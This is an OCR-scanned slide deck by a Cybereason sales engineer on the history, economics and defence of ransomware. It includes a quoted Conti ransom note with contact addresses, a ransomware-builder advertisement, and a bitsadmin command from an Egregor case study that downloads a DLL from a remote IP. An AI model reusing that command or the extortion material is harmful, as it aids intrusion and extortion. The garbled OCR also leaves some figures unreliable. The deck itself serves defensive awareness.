(R S Y drRa n*so mware Attacks



~S WHOAMI

Kraig Faulkner

Lead Sales Engineer
Cybereason

W cybereason



AGENDA

History of Modern Ransomware
Why Ransomware?
Insights & Trends

The Golden Age of Ransomware

Ransomware Defense
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THE EVOLUTION OF RANSOMWARE

1989 12016 2017 2018 2020 2021
AIDS TROJAN PETYA WANNACRY GANDCRAB MAZE REVIL
2015 2016 2017 2019 2021
TESLACRYPT POWERWARE THUNDERCRYPT SODINOKIBI REVIL
2016 2016 2017 2020 2021
LOCKY ZCRYPTOR RYUK REVIL DARKSIDE
2013 2016 2017 2019 2020 2021
, CRYPTOLOCKER JIGSAW , GOLDENEYE MAZE , RYUK LOCKBIT
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WHY DO ATTACKERS
USE RANSOMWARE?

POPULARITY

IMPACT

COMPLEXITY




EDITION: US

D) MusT ReaD: Ransomware: Take these three steps to protect yourself from attacks and make it easier to recover

Cpo HOME NEWS INSIGHTS RESOURCES ZPNet Q VIDEOS  WINDOWST 5G BESTVPNS CLOUD SECURTY Al MORE

REvil ransomware group resurfaces after brief
hiatus
’ Darl EESINRLACKN G ) ) o o The 'Happy Blog' run by the group was back on Tuesday.
it .. e
- Ransomware tops U.S. cyber priorities, ‘@'
i Homeland secretary says

National Cyber Aw:

ess System > Alerts
Targeting the Healthcare and Public Health Sector
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LATEST Amazon offers to pay college tuition for most US workers
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The outage

e attack also led to personal -

WASHINGTON - The Cybersecurity and Infrastructure Security Agency (CISA)
announced the Reduce the Risk of Ransomware Campaign today, a focused,
coordinated and sustained effort to encourage public and private sector
organizations to implement best practices, tools and resources that can help
them mitigate this cybersecurity risk and threat.
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WHY PRIORITIZE
RANSOMWARE DEFENSE?

Ransom Payment $$% IR & security costs

Business Continuity IT costs

Downtime costs
Insurance coverage

Loss of data
Reputational damage
Regulatory fines

Loss of Human Life
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SINGLE STAGE RANSOMWARE

INITIAL ACCESS

PERSISTENCE

DETONATE

RANSOM PAID



MULTISTAGE RANSOMWARE
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WHAT CHANGED?

Average Ransom Payment by Quarter

Decline of “Spray and Pray”:

Amounts are in USD
Up until 2016, most ransomware attacks $125.000
indiscriminately targeted individuals and
organizations alike. $100:000
$75,000
. . . $50,000
Bigger Risk, Bigger Payout:
$25,000

Since 2016, targeted attacks against
organizations have increased dramatically.

Q32018 Q4 2018 Q12019 Q22019 Q32019 Q4 2019 Q12020
Average ransom rose from $115k in 2019 to

$312k in 2020 © COVEWARE
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WHAT MAKES A GOOD
TARGET?

Those who require 99.999% uptime.

Those with small IT teams.

Those who use legacy systems.
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HOW ARE ATTACKERS DOING IT?

Get Philadelphia at a Special Price! \S\ Alpha focker

Ty, Hammure 3aece, 4Tobei nocMoTpeTs KMcxoaHoe MzoSpamenue.

$389

Jnlimited License

Unlimited Builds
Unlimited Campaigns
No monthly fees or % rate
Constant Updates
Bitcoin Payment Autodetect
Plain-English help file

No dependencies (.net or whatever

— D=
Get In Touch!
AMLFPHMALOCHMERGODEN PLOIYT.ANR
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FROM RANSOM TO BLACKMAIL

HOW CYBERCRIMINALS NOW FORCE VICTIMS TO PAY?

Controlling the network can be

used to steal data
Data exfiltration at scale & stealth

Don’t want to pay? All your data
will be sold to the highest bidder

Exploiting the fear of legal ramifications (GDPR, HIPAA,
PCI DDS, GLBA)
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PAYING THE RANSOM

FINCEN ADVISORY

FIN-2020-A006

October 1, 2020

Advisory on Ransomware and the Use of the Financial
System to Facilitate Ransom Payments

Detecting and reporting ransomware payments are vital to prevent and deter
cybercriminals from deploying malicious software to extort individuals and businesses
and hold ransomware attackers accountable for their crimes.

This Adyvisory should be shared with:

 Chief Executive Officers

« Chief Operating Officers

¢ Chief Compliance Officers

« Chief Risk Officers

 Chief Information Officers

* AML/BSA Departments

¢ Legal Departments

¢ Cyber and Security Departments
e Customer Service Agents

a DAnl TAallAare

Introduction

The Financial Crimes Enforcement Network (FinCEN)

is issuing this advisory to alert financial institutions to
predominant trends, typologies, and potential indicators
of ransomware and associated money laundering
activities. This advisory provides information on: (1)

the role of financial intermediaries in the processing

of ransomware payments; (2) trends and typologies of
ransomware and associated payments; (3) ransomware-

related financial red flag indicators; and (4) reporting and
sharing information related to ransomware attacks.

The information contained in this advisory is derived
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THE GOLDEN AGE OF RANSOMWARE



2020: The Year of Ransomware?

MORE AGGRESSIVE PARADIGM SHIFT CYBERCRIMINAL
THAN EVER COLLABORATION

The most prominent Classic Ransom Demand Joint operations with
threat in 2020 — various commodity
Double Extortion malware

fyou are a client who declined the
data on cartel's website or did not
not mean that we forgot about you

e 5 » My Documents » sold and only therefore it did not pi
lize ¥ - Open Include in library ~ She
7
vorites Name
Egregor
Jesktop 52519.zip.AnsM
“LEON MEDICAL CENTERS" ‘TAYLOR MADE DIAGNOSTICS, ...
Greetings Yownloads 52739.2ipIMSoCr o Pl
tecent Places 64131.2ip.WZIF
We have hacked your network, downloaded and encrypted your data. IneDri )
You can recover your data and prevent data leakage to public. neUrive 5943278B.zip.IMSoCr
Please upload your note RECOVER-FILES.txt using the form below and start 2
recovering your data. LARE Domains.txt WZIF |
After you upload note, you will be provided with further instructions. Jtilities a

COMMON INFECTION
VECTORS

Credentials on
underground markets,
vulnerable assets, phishing

R3ADM3 txt - Notepad
File Edit Format View Help
ALL of your files are currently encrypted by CONTI strain.

As you know (if you don't - just "google it"), all of the data that ha
by our software cannot be recovered by any means without contacting ou
If you try to use any additional recovery software - the files might b
you are willing to try - try it on the data of the lowest value.

To make sure that we REALLY CAN get your data back - we offer you to d
files completely free of change.

You can contact our team directly for further instructions through our

TOR VERSION :
(you should download and install TOR browser first https://torproject.

http://n232fdxbfbrcehbriiayknxnggféniqfi6xdiedrgtabdqupzilaid.onion

HTTPS VERSION :
https: //contirecovery. info
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Ransomware Stats for 2020

Top affected Industries

Manufacturing
Government
Education
Services b
Healthcare '

o O O O O

Top affected countries / Regions

North America
North-West Europe
Commonwealth countries (UK, Australia, South Africa)
Japan

India

o O O O O
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SUPPLY CHAIN ATTACKS

CYBEREASON VS EGREGOR RANSOMWARE =—=W

REGIONS:

noustRis: R B (&)

bitsadmin /transfer debjob /download /priority normal http://1
85.238.0.233/b.dll C:AWindows\b.dil

RaaS Model: Ties to the former Maze Cartel

Double extortion Scheme: with a leaks website

Infection chain: phishing email -> Qakbot -> Egregor
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COMMODITY MALWARE AS A PRECURSOR OF AN ATTACK

COMMODITY RECONNAISSANCE COURSE OF ACTION
MALWARE Who is the victim? Hacktools & penetration testing frameworks
INFECTION Collect data about the (Metasploit, Cobalt Strike, adfind)

user / domain Lateral movement attempts (WMI, PowerShell,

Pass-the-Hash, Pass-the-Ticket)

Malicious process

J rundll32.exe

- Malicious process
™ explorer.exe >

rundli32.exe
U=
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Phishing attack
@ ™™ o TrickBot downloader
- g'“o-"?f;”"‘e'“e“ ©  TrickBot loader

ecstimp 3
[cRe]
°O g‘{?ﬁe"e Meterpreter
m_d\eje o
Injected TrickBot modules oo= —
i eo= 7
- adfind exe
anchorjusterm_x8
f B0
3
Injected (cmd exe
& 3
net exe
= @ )
PowerShell Empire ( B¥ X5 o

Annual Bonus Report.doc Cobalt Strike (| eee ®

Your corporate Annual Bonus report is ready for preview
If download doesn't start automatically, click here

Microsoft Word document, preview available only on Desktop computers
Google document status: safe
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TODAY'S CHALLENGES

Easier than ever to run a RaaS operation

More threat actors focus on organizations

More payouts than ever before, prices go up

Ransom — Blackmail: Not paying increasingly becomes a scarier option

Government regulations with steep fines come into play
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THE UPSIDE

“Low and Slow"”: Dwell time > 1 month (up to 9 months!)
History repeats itself: Most ransomware attacks are not novel!

Next-gen AV and Behavior-based protection prove effective

Good hygiene, procedures, and layered defense can prevent most attacks
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PROTECTING YOUR ORGANIZATION

Reevaluate or identify crown jewels (and
paths to them)

Evaluate and reduce cyber risk through
prioritization

Update legacy systems

Prevent the preventable

Detection mindset

Implement user training
Communicate the risk to the business
Build relationships with executives

Prepare in peacetime
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WANT TO LEARN MORE?




THANK YOU



